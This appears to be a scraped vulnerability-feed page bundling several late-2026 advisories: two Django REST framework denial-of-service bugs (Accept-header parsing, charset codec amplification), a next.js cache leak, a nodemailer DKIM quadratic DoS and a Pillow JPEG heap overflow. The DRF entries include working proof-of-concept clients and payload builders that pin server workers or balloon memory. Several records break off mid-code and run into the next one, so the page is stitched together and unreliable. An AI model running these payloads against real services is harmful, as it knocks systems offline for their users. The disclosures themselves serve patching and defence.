For every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. `_MediaType.__init__` calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.

When nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.

With the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.

The quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count('"', 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.

Numbers from my runs, measured as utime+stime deltas of the server process:

one token, ~9KB: 230ms server CPU
24 tokens, 216KB: 5.07s on runserver, which has no per field limit
48 tokens, 432KB: 10.08s on runserver
96 tokens, 780KB: 18.87s under gunicorn defaults

Wall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.

#### A few details that matter for reproducing it:

Django rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.

gunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.

order_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.

#### Where a fix could go, either of these alone would be enough:

Parse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.

Put an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.

The quadratic behavior itself lives in Django's parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.

### PoC

Verified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.

Minimal target, any default DRF project works, this is the one I used.

requirements.txt:

 django==6.1
 djangorestframework==3.18.0
 gunicorn==26.0.0

pocproj/settings.py:
```python
SECRET_KEY = 'poc'; DEBUG = False; ALLOWED_HOSTS = ['*']
INSTALLED_APPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'rest_framework']
ROOT_URLCONF = 'pocproj.urls'; WSGI_APPLICATION = 'pocproj.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}}
USE_TZ = True
```

pocproj/api.py:
```python
from rest_framework.views import APIView
from rest_framework.response import Response

class Items(APIView):
 def get(self, request):
 return Response([{'id': 1, 'name': 'ok'}])
```

pocproj/urls.py:
```python
from django.urls import path
from .api import Items
urlpatterns = [path('items/', Items.as_view())]
```

Start it:

 python manage.py migrate --noinput
 gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2

Client, stdlib only, run with python3:
```python
import http.client, threading, time

TARGET = ('localhost', 8000)

def fields(n=96, semis=8100):
 # 8100 semicolons keeps each field under gunicorn's limit_request_field_size
 # (8190) and each token under Django's MAX_HEADER_LENGTH (10000). Distinct
 # x{i} names stop order_by_precedence from deduplicating the tokens.
 return [f'text/x-poc{i}; x{i}="' + ';'*semis + '"' for i in range(n)]

def burn():
 c = http.client.HTTPConnection(*TARGET, timeout=120)
 c.putrequest('GET', '/items/', skip_accept_encoding=True)
 for f in fields():
 c.putheader('Accept', f)
 c.endheaders()
 r = c.getresponse(); r.read(); c.close()
 return r.status

t = time.perf_counter()
print('single:', burn(), f'{time.perf

Affected package ranges reported by GitHub:
djangorestframework: < 3.18.2
Action: GitHub lists first patched versions: djangorestframework: 3.18.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Django REST framework: JSONParser applies an attacker-named codec to the request stream
https://kevwire.com/record/CVE-2026-114136
Django REST framework: JSONParser applies an attacker-named codec to the request stream (Oct 22, 2026).
An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a
worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type
charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an
amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application
configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON
body.

`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type
header:
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114136).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114136&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-3547-9m27-7rxg: https://github.com/advisories/GHSA-3547-9m27-7rxg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114136: https://nvd.nist.gov/vuln/detail/CVE-2026-114136
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114136&date=2026-10-25
### Summary

An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a
worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type
charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an
amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application
configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON
body.

### Details

`JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type
header:

```python
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
 decoded_stream = codecs.getreader(encoding)(stream)
 parse_constant = json.strict_constant if self.strict else None
 return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
 raise ParseError('JSON parse error - %s' % str(exc))
```

Of the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms
instead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`,
`uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does
not consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending
`Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor
before `json.load` reads it.

The ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the
bytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an
`io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression
happens afterwards, inside the parser, where nothing is counting.

This is DRF's defect and not Django's. Django resolves the charset parameter and assigns
`request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of
`request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')`
and `str(raw, 'bz2_codec')` raise
`LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`.
DRF is the only caller that hands the request stream to `codecs.getreader`.

`FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named
encoding but fail closed instead of amplifying.

The sink was introduced by `9a228116` (PR #5147, 2017-05-24, "Improve memory footprint when reading
large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended
memory gain does not hold because `read()` decodes the whole stream, which is the same property that
makes this expansion unbounded. No `_is_text_encoding` check has been added since.

A one-line fix at `parsers.py:61-64`:

```python
if not codecs.lookup(encoding)._is_text_encoding:
 raise ParseError('Unsupported charset in Content-Type')
```

### PoC

Save as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a
fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports
near-zero growth for every arm after the first), and prints a verdict.

```python
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

 T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
 C1 48 MiB plaintext, Content-Type: application/json (no charset)
 C2 the byte-identical T body, charset=utf-8
 C3 zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
 python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
 "T": ("bz2.bin", "application/json; charset=bz2_codec"),
 "C1": ("plain.bin", "application/json"),
 "C2": ("bz2.bin", "application/json; charset=utf-8"),
 "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
 "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
 "C1": "rejected with RequestDataTooBig, view body never runs",
 "C2": "HTTP 400 ParseError on the byte-identical compressed body",
 "C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []

def build_payloads():
 import bz2
 import zlib

 os.makedirs(PAYLOAD_DIR, exist_ok=True)
 plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
 blobs = {
 "plain.bin": plain,
 "bz2.bin": bz2.compress(plain, 9),
 "zlib.bin": zlib.compress(plain, 9),
 }
 for name, blob in blobs.items():
 with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
 fh.write(blob)
 return {name: len(blob) for name, blob in blobs.items()}

def configure_django():
 from django.conf import settings

 settings.configure(
 DEBUG=False,
 ALLOWED_HOSTS=["testserver"],
 SECRET_KEY="poc",
 ROOT_URLCONF=__name__,
 MIDDLEWARE=[],
 INSTALLED_APPS=[
 "django.contrib.contenttypes",
 "django.contrib.auth",
 "rest_framework",
 ],
 DATABASES={
 "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
 },
 DEFAULT_CHARSET="utf-8",
 DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
 LOGGING_CONFIG=None,
 USE_TZ=True,
 )
 import django

 django.setup()

def build_view():
 from rest_framework.response import Response
 from rest_framework.views import APIView

 class Echo(APIView):

Affected package ranges reported by GitHub:
djangorestframework: >= 3.6.4, < 3.18.2
Action: GitHub lists first patched versions: djangorestframework: 3.18.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### next.js cache leak across root param values in nested 'use cache' functions
https://kevwire.com/record/CVE-2026-103004
next.js cache leak across root param values in nested 'use cache' functions (Oct 22, 2026).
With Cache Components enabled (`cacheComponents: true`), a `'use cache'` function that calls another `'use cache'` function that reads a root param can be keyed incorrectly when the inner call is served from an existing entry: the enclosing function's cache key then omits that root param. The enclosing entry is written once and reused for all root param values, so a response for one root param value can serve content produced for a different value — whether the page is prerendered at build time or at runtime, or rendered dynamically. Shared cache headers let downstream caches redistribute the content further. 

What values are leaked cannot be attacker controlled. Which value's content is served depends only on which invocation wrote the entry first.
CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-h694-7cp9-m8p3).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103004&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-h694-7cp9-m8p3: https://github.com/advisories/GHSA-h694-7cp9-m8p3
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103004&date=2026-10-25
### Impact

With Cache Components enabled (`cacheComponents: true`), a `'use cache'` function that calls another `'use cache'` function that reads a root param can be keyed incorrectly when the inner call is served from an existing entry: the enclosing function's cache key then omits that root param. The enclosing entry is written once and reused for all root param values, so a response for one root param value can serve content produced for a different value — whether the page is prerendered at build time or at runtime, or rendered dynamically. Shared cache headers let downstream caches redistribute the content further. 

What values are leaked cannot be attacker controlled. Which value's content is served depends only on which invocation wrote the entry first.

### Workarounds

There are no known workarounds. Apps should upgrade to the patched version as soon as possible.

Affected package ranges reported by GitHub:
next: >= 16.3.0, < 16.3.8
Action: GitHub lists first patched versions: next: 16.3.8. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing
https://kevwire.com/record/CVE-2026-110871
Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing (Oct 22, 2026).
When nodemailer DKIM-signs an outbound message, its DKIM message parser unfolds RFC 5322 header continuation lines with a loop that concatenates each continuation line onto the preceding line and then re-tests the anchored regex `/^[ \t]/` against the growing merged line on every iteration. Re-testing the regex against the ever-growing accumulated line forces a full string flatten proportional to the accumulated length on each iteration, yielding O(n^2) CPU in the number of continuation lines. An application user who influences the size of a header that folds into many continuation lines (most naturally a large recipient list, but also a long custom header, Subject, or References) can drive tens of thousands of continuation lines and block the single-threaded Node.js event loop for seconds during signing, a repeatable denial of service.

The invariant that signing a message performs work linear in the message size is violated in the header-unfolding step. In `src/dkim/message-parser.ts`, `parseHeaders()` splits the buffered header block into `lines` and iterates backward; for each line matching the continuation pattern `/^[ \t]/`, it does `lines[i - 1] += '\n' + lines[i]` and `lines.splice(i, 1)`. The dominant cost is not the array splice: iterating backward keeps each splice near the shrinking tail, so it shifts only the few trailing header lines. The quadratic cost is the anchored regex test `/^[ \t]/.test(lines[i])` (together with the `+=` concatenation) evaluated against the growing merged line on every iteration. The `+=` builds an O(1) rope, but the next iteration's regex test forces a full flatten of the entire accumulated line, so the total cost is the sum over all continuation lines, which is O(n^2). The header block is buffered by `checkHeaders` without any size or line-count cap; the DKIM signer's `MAX_MESSAGE_SIZE` and `cacheTreshold` knobs gate the body stream only, not the header block, so nothing bounds the number of continuation lines fed to the loop.
CVSS 6.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-39m8-27wv-hr27).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110871&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-39m8-27wv-hr27: https://github.com/advisories/GHSA-39m8-27wv-hr27
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-110871: https://nvd.nist.gov/vuln/detail/CVE-2026-110871
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110871&date=2026-10-25
## Summary

When nodemailer DKIM-signs an outbound message, its DKIM message parser unfolds RFC 5322 header continuation lines with a loop that concatenates each continuation line onto the preceding line and then re-tests the anchored regex `/^[ \t]/` against the growing merged line on every iteration. Re-testing the regex against the ever-growing accumulated line forces a full string flatten proportional to the accumulated length on each iteration, yielding O(n^2) CPU in the number of continuation lines. An application user who influences the size of a header that folds into many continuation lines (most naturally a large recipient list, but also a long custom header, Subject, or References) can drive tens of thousands of continuation lines and block the single-threaded Node.js event loop for seconds during signing, a repeatable denial of service.

## Root Cause

The invariant that signing a message performs work linear in the message size is violated in the header-unfolding step. In `src/dkim/message-parser.ts`, `parseHeaders()` splits the buffered header block into `lines` and iterates backward; for each line matching the continuation pattern `/^[ \t]/`, it does `lines[i - 1] += '\n' + lines[i]` and `lines.splice(i, 1)`. The dominant cost is not the array splice: iterating backward keeps each splice near the shrinking tail, so it shifts only the few trailing header lines. The quadratic cost is the anchored regex test `/^[ \t]/.test(lines[i])` (together with the `+=` concatenation) evaluated against the growing merged line on every iteration. The `+=` builds an O(1) rope, but the next iteration's regex test forces a full flatten of the entire accumulated line, so the total cost is the sum over all continuation lines, which is O(n^2). The header block is buffered by `checkHeaders` without any size or line-count cap; the DKIM signer's `MAX_MESSAGE_SIZE` and `cacheTreshold` knobs gate the body stream only, not the header block, so nothing bounds the number of continuation lines fed to the loop.

```text
Affected file and function (verified at the published v10.0.9 artifact, in src/ and compiled verbatim into the published dist output):
- src/dkim/message-parser.ts: MessageParser.parseHeaders (the continuation-unfold loop that re-tests /^[ \t]/ against the growing merged line)
```

## Impact

An attacker or user who can make an outbound, DKIM-signed message carry a header that folds into a large number of continuation lines can freeze the sending Node.js process during signing. Because Node.js is single-threaded, the synchronous unfold loop starves the entire event loop, halting all other work in the process, and it is repeatable on every such message. The natural lever is a large recipient list: nodemailer's own MIME composer folds a To or Cc value at column 76 into space-prefixed continuation lines, and the count scales linearly with the number of recipients, so a caller-supplied recipient list (common in bulk-mail, notification, and multi-tenant email APIs) turns into tens of thousands of continuation lines. The single precondition is that DKIM signing is enabled, which is a mainstream deliverability configuration. Independent reproduction on Node.js 24 measured roughly 2.8 seconds of event-loop blocking at about 20,000 continuation lines and roughly 11.5 seconds at about 40,000, scaling quadratically; the full composer-to-signer chain with a 60,000-recipient To header blocked for roughly 6.6 seconds. The applications that cap recipient count or header size shrink the exposed population but do not change the per-message availability impact once a large header is accepted.

## Proof of Concept

`Node.js 24; the shipped DKIM signer (require('nodemailer/lib/dkim')) or the exact unfold loop.`

Steps: (1) construct a message whose header block contains one header value folded into many space-prefixed continuation lines (for example by supplying a very large recipient list, which nodemailer's MIME composer folds automatically); (2) DKIM-sign it and observe the event loop stall while `parseHeaders` unfolds the block. A minimal microbenchmark of the exact unfold logic demonstrates the complexity:

```js
// Reproduces the parseHeaders unfold loop verbatim (Node 24).
function unfold(headerBlock) {
 const lines = headerBlock.split(/\r?\n/);
 for (let i = lines.length - 1; i > 0; i--) {
 if (/^[ \t]/.test(lines[i])) {
 lines[i - 1] += '\n' + lines[i];
 lines.splice(i, 1);
 }
 }
 return lines;
}
function run(n) {
 let block = 'To: a@b.c\r\n';
 for (let i = 0; i < n; i++) block += ' cont-' + i + '@example.com,\r\n';
 for (let k = 0; k < 5; k++) block += 'X-H' + k + ': v\r\n';
 const t = Date.now();
 unfold(block);
 return Date.now() - t;
}
for (const n of [5000, 10000, 20000, 40000]) console.log(n, run(n) + 'ms');
```

```text
5000 27ms
10000 542ms
20000 2853ms
40000 11503ms
(2x input yields roughly 4x-5x time: quadratic. The cost is the regex re-flatten of the growing merged line, not the splice.)
```

## Attack Chain

1. **Exposure:** An application DKIM-signs outbound mail (a mainstream deliverability configuration, enabled per transport or per message) for a message whose header size is influenced by a user, for example a large recipient list, a long custom header, Subject, or References.
2. **Control:** The attacker or user controls the size of that header. The MIME composer folds it deterministically at column 76 into space-prefixed continuation lines that match the continuation pattern, so the continuation-line count scales linearly with the supplied size.
3. **Path:** Signing pipes the composed message through the DKIM MessageParser; `checkHeaders` buffers the whole header block into `rawHeaders` and calls `parseHeaders()`, the single sink, on every signed message.
4. **Guard:** No header-size or line-count cap exists between the input and the sink; the signer's body-only size thresholds do not apply to the header block.
5. **Primitive:** The unfold loop re-tests the anchored regex against th

Affected package ranges reported by GitHub:
nodemailer: >= 3.0.0, <= 10.0.9
Action: GitHub lists first patched versions: nodemailer: 10.0.10. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
https://kevwire.com/record/CVE-2026-96778
Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer (Oct 22, 2026).
```
============================================================================
Heap buffer overflow writing JPEG comment after ICC profile fills buffer
Location: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.
CVSS 7.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96778).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96778&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-g7cr-3p24-7wf7: https://github.com/advisories/GHSA-g7cr-3p24-7wf7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96778: https://nvd.nist.gov/vuln/detail/CVE-2026-96778
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96778&date=2026-10-25
```
============================================================================
Heap buffer overflow writing JPEG comment after ICC profile fills buffer
Location: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

A heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.

